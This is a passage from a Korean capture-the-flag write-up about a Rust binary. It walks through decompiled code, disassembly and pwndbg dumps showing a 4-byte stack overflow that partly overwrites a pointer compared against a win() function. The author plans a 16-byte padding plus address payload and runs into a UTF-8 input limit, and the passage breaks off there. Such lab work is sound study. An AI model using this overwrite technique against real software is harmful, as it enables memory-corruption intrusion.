</span></span><span class="line"><span class="cl">  <span class="n">code</span> <span class="o">*</span><span class="n">local_8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span><span class="p">(</span><span class="n">local_170</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_0015f0d0</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">_print</span><span class="p">((</span><span class="n">size_t</span><span class="p">)</span><span class="n">local_170</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">alloc</span><span class="o">::</span><span class="n">string</span><span class="o">::</span><span class="n">String</span><span class="o">::</span><span class="k">new</span><span class="p">(</span><span class="n">local_140</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* try { // try from 0010abd6 to 0010abde has its CatchHandler @ 0010abfb */</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_120</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">stdout</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* try { // try from 0010ac21 to 0010add1 has its CatchHandler @ 0010abfb */</span>
</span></span><span class="line"><span class="cl">  <span class="n">lVar1</span> <span class="o">=</span> <span class="o">&lt;&gt;::</span><span class="n">flush</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_120</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_128</span> <span class="o">=</span> <span class="o">&lt;&gt;::</span><span class="n">branch</span><span class="p">(</span><span class="n">lVar1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">local_128</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_f8</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">stdin</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">Stdin</span><span class="o">::</span><span class="n">read_line</span><span class="p">(</span><span class="n">local_108</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_f8</span><span class="p">,</span><span class="n">local_140</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;&gt;::</span><span class="n">branch</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_118</span><span class="p">,</span><span class="n">local_108</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">local_118</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">auVar3</span> <span class="o">=</span> <span class="o">&lt;&gt;::</span><span class="n">deref</span><span class="p">(</span><span class="n">local_140</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">auVar3</span> <span class="o">=</span> <span class="n">core</span><span class="o">::</span><span class="n">str</span><span class="o">::&lt;</span><span class="n">impl_str</span><span class="o">&gt;::</span><span class="n">trim</span><span class="p">(</span><span class="n">auVar3</span><span class="p">.</span><span class="n">_0_8_</span><span class="p">,</span><span class="n">auVar3</span><span class="p">.</span><span class="n">_8_8_</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">__src</span> <span class="o">=</span> <span class="n">auVar3</span><span class="p">.</span><span class="n">_0_8_</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_d8</span> <span class="o">=</span> <span class="n">ZEXT816</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_f0</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">uStack_ec</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">uStack_e8</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">uStack_e4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_e0</span> <span class="o">=</span> <span class="n">rust</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">uVar2</span> <span class="o">=</span> <span class="n">core</span><span class="o">::</span><span class="n">str</span><span class="o">::&lt;</span><span class="n">impl_str</span><span class="o">&gt;::</span><span class="n">len</span><span class="p">(</span><span class="n">__src</span><span class="p">,</span><span class="n">auVar3</span><span class="p">.</span><span class="n">_8_8_</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">uVar2</span> <span class="o">&lt;</span> <span class="mh">0x17</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">__n</span> <span class="o">=</span> <span class="n">core</span><span class="o">::</span><span class="n">str</span><span class="o">::&lt;</span><span class="n">impl_str</span><span class="o">&gt;::</span><span class="n">len</span><span class="p">(</span><span class="n">__src</span><span class="p">,</span><span class="n">auVar3</span><span class="p">.</span><span class="n">_8_8_</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">memmove</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_f0</span><span class="p">,</span><span class="n">__src</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">local_60</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_f0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">local_8</span> <span class="o">=</span> <span class="p">[</span><span class="n">T</span><span class="p">;</span><span class="n">_N</span><span class="p">]</span><span class="o">&gt;::</span><span class="n">fmt</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">local_58</span> <span class="o">=</span> <span class="p">[</span><span class="n">T</span><span class="p">;</span><span class="n">_N</span><span class="p">]</span><span class="o">&gt;::</span><span class="n">fmt</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* try { // try from 0010ae47 to 0010aebb has its CatchHandler @ 0010abfb */</span>
</span></span><span class="line"><span class="cl">        <span class="n">local_10</span> <span class="o">=</span> <span class="n">local_60</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_v1</span>
</span></span><span class="line"><span class="cl">                  <span class="p">(</span><span class="n">local_90</span><span class="p">,</span><span class="o">&amp;</span><span class="n">PTR_s_</span><span class="o">/</span><span class="n">rustc</span><span class="o">/</span><span class="n">a28077b28a02b92985b3a3fae_0015f0e0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_60</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">_print</span><span class="p">((</span><span class="n">size_t</span><span class="p">)</span><span class="n">local_90</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">local_e0</span> <span class="o">==</span> <span class="n">win</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">win</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span><span class="p">(</span><span class="n">local_50</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_0015f100</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* try { // try from 0010aedb to 0010af10 has its CatchHandler @ 0010abfb */</span>
</span></span><span class="line"><span class="cl">          <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">_print</span><span class="p">((</span><span class="n">size_t</span><span class="p">)</span><span class="n">local_50</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">core</span><span class="o">::</span><span class="n">ptr</span><span class="o">::</span><span class="n">drop_in_place</span><span class="o">&lt;&gt;</span><span class="p">(</span><span class="n">local_140</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span><span class="p">(</span><span class="n">local_c0</span><span class="p">,</span><span class="o">&amp;</span><span class="n">DAT_0015f110</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">_print</span><span class="p">((</span><span class="n">size_t</span><span class="p">)</span><span class="n">local_c0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_178</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_178</span> <span class="o">=</span> <span class="o">&lt;&gt;::</span><span class="n">from_residual</span><span class="p">(</span><span class="n">local_110</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">local_178</span> <span class="o">=</span> <span class="o">&lt;&gt;::</span><span class="n">from_residual</span><span class="p">(</span><span class="n">local_128</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">core</span><span class="o">::</span><span class="n">ptr</span><span class="o">::</span><span class="n">drop_in_place</span><span class="o">&lt;&gt;</span><span class="p">(</span><span class="n">local_140</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">local_178</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="n">local_e0</span> <span class="o">==</span> <span class="n">win</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">win</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div><p>위 부분에서 win()함수를 실행하면 될것 같다. 러스트 디버깅이나 동작 방식이 처음 접하는 내용이라 동적 정적 분석을 수시로 왔다갔다 하면서 진행했다. 동적 분석에서 bp를 걸고 확인해보면 win()함수가 동작하지 않았다. 따라서 4바이트 오버플로우가 가능한 부분에 더비 값을 채우고 레지스터를 확인해보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl">   <span class="mh">0x000000000000ae83</span> <span class="o">&lt;+</span><span class="mi">755</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x128</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae8b</span> <span class="o">&lt;+</span><span class="mi">763</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xfffffffffffffb7e</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0xaa10</span> <span class="o">&lt;</span><span class="n">_ZN4prob3win17h2a8d1a9bcf67a7d9E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae92</span> <span class="o">&lt;+</span><span class="mi">770</span><span class="o">&gt;:</span>   <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae95</span> <span class="o">&lt;+</span><span class="mi">773</span><span class="o">&gt;:</span>   <span class="n">jne</span>    <span class="mh">0xaea3</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">787</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae97</span> <span class="o">&lt;+</span><span class="mi">775</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x128</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ae9f</span> <span class="o">&lt;+</span><span class="mi">783</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span></code></pre></div><p>위 부분에 bp를 걸고 보면 알 수 있다. 다음 사진은 16크기의 a와 b 4개를 붙여 동적 디버깅 해보았다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="mh">0x000055555555ee92</span> <span class="n">in</span> <span class="n">prob</span><span class="o">::</span><span class="n">main</span> <span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nl">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
</span></span><span class="line"><span class="cl"><span class="err">──────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">───────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="n">RAX</span>  <span class="mh">0x555562626262</span>
</span></span><span class="line"><span class="cl"> <span class="n">RBX</span>  <span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x55555555ea10</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">win</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0xe8</span>
</span></span><span class="line"><span class="cl"> <span class="n">RDX</span>  <span class="mh">0xfffffffffffffffc</span>
</span></span><span class="line"><span class="cl"> <span class="n">RDI</span>  <span class="mh">0x5555555b7500</span> <span class="err">◂—</span> <span class="mh">0x2c3739202c37395b</span> <span class="p">(</span><span class="err">&#39;</span><span class="p">[</span><span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span><span class="err">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">RSI</span>  <span class="mh">0x5555555b6078</span> <span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">io</span><span class="o">::</span><span class="n">stdio</span><span class="o">::</span><span class="n">STDOUT</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">R8</span>   <span class="mh">0xa</span>
</span></span><span class="line"><span class="cl"> <span class="n">R9</span>   <span class="mh">0x2</span>
</span></span><span class="line"><span class="cl"> <span class="n">R10</span>  <span class="mh">0x5555555a6364</span> <span class="err">◂—</span> <span class="mh">0x101010101010101</span>
</span></span><span class="line"><span class="cl"> <span class="n">R11</span>  <span class="mh">0x246</span>
</span></span><span class="line"><span class="cl"> <span class="n">R12</span>  <span class="mh">0x7fffff7ff000</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">R13</span>  <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">R14</span>  <span class="mh">0x7fffffffe4f0</span> <span class="err">—▸</span> <span class="mh">0x55555555eb90</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x208</span>
</span></span><span class="line"><span class="cl"> <span class="n">R15</span>  <span class="mh">0x7fffffffe470</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"> <span class="n">RBP</span>  <span class="mh">0x7fffff7fe000</span>
</span></span><span class="line"><span class="cl"> <span class="n">RSP</span>  <span class="mh">0x7fffffffe170</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x55555555ee92</span> <span class="p">(</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">770</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="n">rcx</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">────────────────────────────────────</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555ee83</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">755</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555ee8b</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">763</span><span class="o">&gt;</span>    <span class="n">lea</span>    <span class="n">rcx</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">-</span> <span class="mh">0x482</span><span class="p">]</span>            <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">win</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mh">0x55555555ee92</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">770</span><span class="o">&gt;</span>    <span class="n">cmp</span>    <span class="n">rax</span><span class="p">,</span> <span class="n">rcx</span>                      <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">win</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555ee95</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">773</span><span class="o">&gt;</span>    <span class="n">jne</span>    <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">787</span>                <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">787</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="err">↓</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eea3</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">787</span><span class="o">&gt;</span>    <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x54256</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eeaa</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">794</span><span class="o">&gt;</span>    <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,</span> <span class="p">[</span><span class="n">rsp</span> <span class="o">+</span> <span class="mh">0x1b8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eeb2</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">802</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eeb7</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">807</span><span class="o">&gt;</span>    <span class="n">call</span>   <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span>                <span class="o">&lt;</span><span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Arguments</span><span class="o">::</span><span class="n">new_const</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eebc</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">812</span><span class="o">&gt;</span>    <span class="n">jmp</span>    <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">843</span>                <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">843</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eebe</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">814</span><span class="o">&gt;</span>    <span class="n">jmp</span>    <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">816</span>                <span class="o">&lt;</span><span class="mh">0x55555555eec0</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   <span class="mh">0x55555555eec0</span> <span class="o">&lt;</span><span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">816</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span> <span class="o">+</span> <span class="mh">0x90</span><span class="p">],</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="err">─────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7fffffffe170</span> <span class="err">◂—</span> <span class="mh">0x0</span>
</span></span><span class="line"><span class="cl"><span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe178</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe288</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">aaaaaaaaaaaaaaaabbbbUU</span><span class="err">&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span>     <span class="mh">0x7fffffffe180</span> <span class="err">—▸</span> <span class="mh">0x55555555dfa0</span> <span class="p">(</span><span class="n">core</span><span class="o">::</span><span class="n">array</span><span class="o">::&lt;</span><span class="n">impl</span> <span class="n">core</span><span class="o">::</span><span class="n">fmt</span><span class="o">::</span><span class="n">Debug</span> <span class="k">for</span> <span class="p">[</span><span class="n">T</span><span class="p">;</span> <span class="n">N</span><span class="p">]</span><span class="o">&gt;::</span><span class="n">fmt</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="mh">0x18</span>
</span></span><span class="line"><span class="cl"><span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe188</span> <span class="err">◂—</span> <span class="mh">0x14</span>
</span></span><span class="line"><span class="cl"><span class="mo">04</span><span class="o">:</span><span class="mo">0020</span><span class="err">│</span>     <span class="mh">0x7fffffffe190</span> <span class="err">—▸</span> <span class="mh">0x5555555b9bb0</span> <span class="err">◂—</span> <span class="err">&#39;</span><span class="n">aaaaaaaaaaaaaaaabbbb</span><span class="err">\</span><span class="n">n</span><span class="err">&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mo">05</span><span class="o">:</span><span class="mo">002</span><span class="mi">8</span><span class="err">│</span>     <span class="mh">0x7fffffffe198</span> <span class="err">◂—</span> <span class="mh">0x14</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span> <span class="err">↓</span>        <span class="mi">2</span> <span class="n">skipped</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"> <span class="err">►</span> <span class="mi">0</span>   <span class="mh">0x55555555ee92</span> <span class="n">prob</span><span class="o">::</span><span class="n">main</span><span class="o">+</span><span class="mi">770</span>
</span></span><span class="line"><span class="cl">   <span class="mi">1</span>   <span class="mh">0x55555555d883</span> <span class="n">core</span><span class="o">::</span><span class="n">ops</span><span class="o">::</span><span class="n">function</span><span class="o">::</span><span class="n">FnOnce</span><span class="o">::</span><span class="n">call_once</span><span class="o">+</span><span class="mi">3</span>
</span></span><span class="line"><span class="cl">   <span class="mi">2</span>   <span class="mh">0x55555555cea6</span> <span class="n">std</span><span class="o">::</span><span class="n">sys_common</span><span class="o">::</span><span class="n">backtrace</span><span class="o">::</span><span class="n">__rust_begin_short_backtrace</span><span class="o">+</span><span class="mi">6</span>
</span></span><span class="line"><span class="cl">   <span class="mi">3</span>   <span class="mh">0x55555555d409</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start</span><span class="o">::</span><span class="p">{{</span><span class="n">closure</span><span class="p">}}</span><span class="o">+</span><span class="mi">9</span>
</span></span><span class="line"><span class="cl">   <span class="mi">4</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl">   <span class="mi">5</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl">   <span class="mi">6</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl">   <span class="mi">7</span>   <span class="mh">0x5555555763ab</span> <span class="n">std</span><span class="o">::</span><span class="n">rt</span><span class="o">::</span><span class="n">lang_start_internal</span><span class="o">+</span><span class="mi">1051</span>
</span></span><span class="line"><span class="cl"><span class="err">───────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
</span></span></code></pre></div><p>cmp 부분을 보면 rcx와 rax를 비교하는데 rax 부분이 b의 아스키 코드인 62로 일부 덮어쓰여져 있다. rcx는 0x55555555ea10 값을 가지고 있으며 win()함수의 주소를 가지고 있다. 이 값이 rax에 동일하게 있으면 wi()함수를 실행하게 될 것이다.</p>
<p>그럼 공격 방법을 찾아보자</p>
<p>4바이트 오버라이트가 가능하니 상식적으로 생각해보면 16개의 a 뒤에 0x5555ea10 값을 넣어 전송하면 문제가 풀릴 것이다.</p>
<p>이떄 예상하지 못한 에러로그를 보았다. Error: Error { kind: InvalidData, message: &ldquo;stream did not contain valid UTF-8&rdquo; } 라는 문구가 출력 되었다. 찾아보니 stdin을 통해 입력 받는 값 중 UTF-8인코딩이 불가능한 값이 있는 것 같은 느낌이 들었다.</p>
<p>0x5555ea10중 해당 에러를 띄워주는 부분을 0xea 부분으로 추측했다. 아스키코드에는 없는 값이고 해당 값을 파이썬으로 utf-8인코딩을 걸었을 때 에러가 발생하였다. 그러면 0x5555ea까지는 사용할 수 없다는 것을 의미한다. 즉, 1바이트로 주소값을 조작해야 하는데 가능한지 살펴보자.</p>
